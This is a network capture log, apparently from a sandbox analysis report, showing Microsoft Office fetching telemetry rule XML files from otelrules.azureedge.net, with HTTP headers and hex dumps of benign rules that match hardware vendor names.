2024-10-18 22:13:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:50 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: b1dca041-701e-0001-1ae2-20b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221350Z-15b8d89586frzkk2umu6w8qnt800000005fg00000000ssu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:50 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.10	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:50 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 72fae4a7-c01e-000b-6fd8-1ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221350Z-r197bdfb6b4tq6ld2w31u8wmcc0000000c6g00000000gxg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:50 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.10	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:50 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:50 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fe1afdc6-601e-00ab-1fd8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221350Z-16b659b44994c5rr2b3ze9shcc0000000b70000000002nze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.10	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfb30da8-001e-0028-10d8-1ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-r197bdfb6b4gdlhqw6kbe0ekvs00000002bg000000009prr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.10	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:50 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 96577f27-301e-0099-1ad8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-16b659b4499z4tq4vyreufa8gn00000008c000000000qm00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.10	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b1f13374-201e-0085-05d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-16b659b4499v5jm96nrcwszga00000000ang000000002wue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.10	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ff358c34-401e-0064-2ed8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-16b659b4499v5jm96nrcwszga00000000ang000000002wuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.10	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5e2b87c7-c01e-000b-17f5-20e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-16b659b4499lfw4zscvav76bhn0000000ac0000000007pgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.10	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: a14da665-f01e-003f-4ed8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-15b8d89586fnsf5zv100scmx1000000005kg00000000c0yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:51 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.10	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:51 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 783e1ebc-401e-00ac-5ed8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221351Z-16b659b4499w2mwkzdhtwtt78c0000000ck000000000453s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.10	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:51 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: ff35c8d8-401e-0064-01d8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-16b659b4499f5gh931bbxe97rs0000000apg00000000kh65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.10	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:52 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 619deb8e-b01e-005c-5ed8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221352Z-16b659b4499mk7vv3349cr2qug0000000d1000000000sbfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
